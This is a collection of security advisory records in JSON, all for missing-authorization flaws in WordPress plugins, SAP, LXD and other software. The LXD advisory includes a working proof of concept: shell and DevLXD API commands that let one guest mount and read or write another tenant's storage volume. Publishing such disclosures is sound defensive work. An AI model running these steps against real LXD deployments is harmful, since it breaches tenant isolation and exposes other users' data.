CWE-862

{
  "affected": [],
  "aliases": [
    "CVE-2025-5894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-09T08:15:22Z",
    "severity": "HIGH"
  },
  "details": "Smart Parking Management System from Honding Technology has a Missing Authorization vulnerability, allowing remote attackers with regular privileges to access a specific functionality to create administrator accounts, and subsequently log into the system using those accounts.",
  "id": "GHSA-hh8x-xr4m-qghx",
  "modified": "2025-06-09T09:31:04Z",
  "published": "2025-06-09T09:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5894"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10171-44c0a-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10170-e2435-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-75908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T12:16:24Z",
    "severity": "MODERATE"
  },
  "details": "The Newsletters plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.17. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with author-level access and above, to send arbitrary newsletter emails to users of any WordPress role, including administrators, by forging POST fields during a normal post submission. This allows an attacker-supplied role slug via the newsletters_mailinglistsroles POST field to be passed directly to get_users(), enabling unauthorized mass-mailing and potential phishing against privileged site users through the site\u0027s own outbound email channel.",
  "id": "GHSA-hh9m-cqf2-rmcf",
  "modified": "2026-08-25T12:31:24Z",
  "published": "2026-08-25T12:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75908"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/newsletters-lite/tags/4.17/includes/checkinit.php#L63"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/newsletters-lite/tags/4.17/wp-mailinglist.php#L3897"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/newsletters-lite/tags/4.17/wp-mailinglist.php#L3957"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/newsletters-lite/tags/4.17/wp-mailinglist.php#L4114"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3663788%40newsletters-lite\u0026new=3663788%40newsletters-lite"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1d3eddce-1b41-4a33-8d57-bd594cf06a06?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-45878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-21T11:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Multiple versions of GARO Wallbox GLB/GTB/GTC are affected by incorrect access control. Lack of access control on the web manger pages allows any user to view and modify information.",
  "id": "GHSA-hhc4-gphx-6v9p",
  "modified": "2022-03-29T00:01:27Z",
  "published": "2022-03-22T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45878"
    },
    {
      "type": "WEB",
      "url": "https://github.com/delikely/advisory/tree/main/GARO"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-110377"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-26T10:16:51Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in VillaTheme Bopo \u2013 WooCommerce Product Bundle Builder bopo-woo-product-bundle-builder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Bopo \u2013 WooCommerce Product Bundle Builder: from n/a through 1.2.3.",
  "id": "GHSA-hhc7-7647-r8v2",
  "modified": "2026-10-26T12:32:30Z",
  "published": "2026-10-26T12:32:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110377"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/bopo-woo-product-bundle-builder/vulnerability/wordpress-bopo-woocommerce-product-bundle-builder-plugin-1-2-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-5704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T09:15:07Z",
    "severity": "MODERATE"
  },
  "details": "The XPlainer \u2013 WooCommerce Product FAQ [WooCommerce Accordion FAQ Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several functions in all versions up to, and including, 1.6.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to add new and update existing FAQs, FAQ lists, and modify FAQ associations with products.",
  "id": "GHSA-hhcq-382w-rjg2",
  "modified": "2026-04-08T18:33:32Z",
  "published": "2024-07-09T09:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5704"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/faq-for-woocommerce/trunk/includes/admin/faq-woocommerce-admin-functions.php#L100"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/faq-for-woocommerce/trunk/includes/admin/faq-woocommerce-admin-functions.php#L216"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/faq-for-woocommerce/trunk/includes/admin/faq-woocommerce-admin-functions.php#L269"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/faq-for-woocommerce/trunk/includes/admin/faq-woocommerce-admin-functions.php#L326"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/faq-for-woocommerce/trunk/includes/admin/faq-woocommerce-admin-functions.php#L385"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3126842/faq-for-woocommerce/trunk/includes/admin/faq-woocommerce-admin-functions.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1d3e476d-0885-4e8c-a682-bd64d9f13b53?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20250721152936-fe86ceb2c3fa"
            },
            {
              "fixed": "0.0.0-20260626085133-7cb96ac80a6d"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-12411"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-05T17:40:59Z",
    "nvd_published_at": "2026-06-26T16:16:30Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA guest can mount another guest\u0027s custom storage volume over `/dev/lxd` and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don\u0027t own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with `security.devlxd.management.volumes` enabled can attach a volume belonging to a different guest by naming it in a device `PATCH`, giving one tenant full read and write access to another tenant\u0027s volume data.\n\n### Details\n\nVolumes created over DevLXD get `volatile.devlxd.owner` set to the calling identity. The storage handlers enforce it on `GET`/`PUT`/`DELETE` ([`isDevLXDVolumeOwner`, lxd/devlxd_storage.go:359](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L359)) and on volume-copy sources ([devlxd_storage.go:286](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L286)). The device-attach path does not.\n\n`devLXDInstancePatchHandler` ([lxd/devlxd_instances.go:88](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L88)) passes the guest\u0027s device map to `generateDevLXDInstanceDevices` ([devlxd_instances.go:178](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L178)). For a device that isn\u0027t already on the instance, the only check is `isDeviceAccessible(device)`:\n\n```go\nif (exists \u0026\u0026 !isOwned) || (!isDeviceAccessible(device)) \n```\n\n`exists` is false for a newly added device, so `isDeviceAccessible` is the whole gate. It resolves to `newDevLXDDeviceAccessValidator` ([devlxd_instances.go:250](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L250)), which is `diskDeviceAllowed \u0026\u0026 filters.IsCustomVolumeDisk(device)`. `IsCustomVolumeDisk` ([lxd/device/filters/disk.go:28](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/device/filters/disk.go#L28)) checks the device shape only: `type=disk`, non-empty `source`, non-empty `pool`. It never loads the `(pool, source)` volume or compares its owner to the caller.\n\nThe handler then sets `volatile.\u003cdev\u003e.devlxd.owner` to the caller and issues an in-process `PATCH` to `instancePatch` ([lxd/instance_patch.go:55](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L55)). That call skips the HTTP access handler and runs only project quota checks (`limits.AllowInstanceUpdate`, [instance_patch.go:215](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L215)) before `c.Update`. The disk device\u0027s `validateConfig` confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume\u0027s `volatile.devlxd.owner` still names the victim.\n\n### PoC\n\nBuilt from source at HEAD `d29ece6284` (reports as `6.8`, API extension `devlxd_volume_management`); single host, `dir` pool, default project.\n\nHost setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:\n\n```bash\nlxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true\nlxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true\nlxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl\n\nfor g in a b; do\n  lxc auth identity create devlxd/id$g\n  lxc auth group create g$g\n  lxc auth group permission add g$g project default can_view\n  lxc auth group permission add g$g project default can_view_storage_volumes\n  lxc auth group permission add g$g project default can_create_storage_volumes\n  lxc auth group permission add g$g instance guest$g can_view project=default\n  lxc auth group permission add g$g instance guest$g can_edit project=default\n  lxc auth identity group add devlxd/id$g g$g\ndone\nTOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)\nTOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)\n```\n\nWith `devlxd` defined as `lxc exec \u003cc\u003e -- curl --unix-socket /dev/lxd/sock -H \"Authorization: Bearer \u003ctok\u003e\" ...`:\n\n```bash\ndevlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom \u0027{\"name\":\"vola\",\"type\":\"custom\",\"config\":{}}\u0027\ndevlxd guesta $TOKEN_A PATCH /1.0/instances/guesta \u0027{\"devices\":{\"mine\":{\"type\":\"disk\",\"pool\":\"default\",\"source\":\"vola\",\"path\":\"/mnt/mine\"}}}\u0027\nlxc exec guesta -- sh -c \u0027echo TOP-SECRET-OWNED-BY-A \u003e /mnt/mine/secret.txt\u0027\ndevlxd guesta $TOKEN_A PATCH /1.0/instances/guesta \u0027{\"devices\":{\"mine\":null}}\u0027\n\ndevlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola     # HTTP 404\n\ndevlxd guestb $TOKEN_B PATCH /1.0/instances/guestb \u0027{\"devices\":{\"stolen\":{\"type\":\"disk\",\"pool\":\"default\",\"source\":\"vola\",\"path\":\"/mnt/stolen\"}}}\u0027   # HTTP 200\n\nlxc exec guestb -- cat /mnt/stolen/secret.txt                       \nlxc exec guestb -- sh -c \u0027echo PWNED-BY-B \u003e /mnt/stolen/b_was_here.txt\u0027\n```\n\n`lxc storage volume get default vola volatile.devlxd.owner` returns guesta\u0027s identity; `lxc config device get guestb stolen source` returns `vola`.\n\n### Impact\n\nBroken access control across tenants. It affects operators running untrusted guests in a shared LXD project with `security.devlxd.management.volumes` enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren\u0027t already known can be recovered by probing, since an attachable volume returns `200` and a missing one returns a not-found error.",
  "id": "GHSA-hhf9-qw4v-72xp",
  "modified": "2026-11-05T17:40:59Z",
  "published": "2026-11-05T17:40:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-hhf9-qw4v-72xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12411"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/pull/18585"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/commit/752e25cfb849a349ff08939ce02747ef4d4e69cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/canonical/lxd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lxd allows Cross-guest volume hijack via DevLXD device patch"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-42993"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T01:15:22Z",
    "severity": "MODERATE"
  },
  "details": "Due to a missing authorization check vulnerability in SAP S/4HANA (Enterprise Event Enablement), an attacker with access to the Inbound Binding Configuration could create an RFC destination and assign an arbitrary high-privilege user. This allows the attacker to consume events via the RFC destination, leading to code execution under the privileges of the assigned high-privilege user. While the vulnerability has a low impact on Availability, it significantly poses a high risk to both Confidentiality and Integrity.",
  "id": "GHSA-hhjp-qj76-2j9m",
  "modified": "2025-06-10T03:30:29Z",
  "published": "2025-06-10T03:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42993"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3580384"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-64238"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-16T09:15:53Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in NicolasKulka WPS Bidouille wps-bidouille allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPS Bidouille: from n/a through \u003c= 1.33.1.",
  "id": "GHSA-hhph-4qfr-mpv6",
  "modified": "2026-01-20T15:32:13Z",
  "published": "2025-12-16T09:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64238"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/wps-bidouille/vulnerability/wordpress-wps-bidouille-plugin-1-33-1-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wps-bidouille/vulnerability/wordpress-wps-bidouille-plugin-1-33-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-58976"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:16:11Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Equalize Digital Accessibility Checker by Equalize Digital allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Accessibility Checker by Equalize Digital: from n/a through 1.31.0.",
  "id": "GHSA-hhv8-m3fc-989x",
  "modified": "2026-04-01T18:36:08Z",
  "published": "2025-09-09T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58976"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/accessibility-checker/vulnerability/wordpress-accessibility-checker-by-equalize-digital-plugin-1-31-0-broken-access-control-vulnerability-2?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-13419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-02T04:15:45Z",
    "severity": "MODERATE"
  },
  "details": "Multiple plugins and/or themes for WordPress using Smart Framework are vulnerable to Stored Cross-Site Scripting due to a missing capability check on the saveOptions() and importThemeOptions() functions in various versions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin\u0027s settings which includes custom JavaScript that is enabled site-wide. This issue was escalated to Envato over two months from the date of this disclosure and the issue is still vulnerable.",
  "id": "GHSA-hhv8-q584-2mj6",
  "modified": "2025-05-02T06:31:24Z",
  "published": "2025-05-02T06:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13419"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/beyot-wordpress-real-estate-theme/19514964"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/07729c28-a73a-46f4-853e-116792d612f5?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}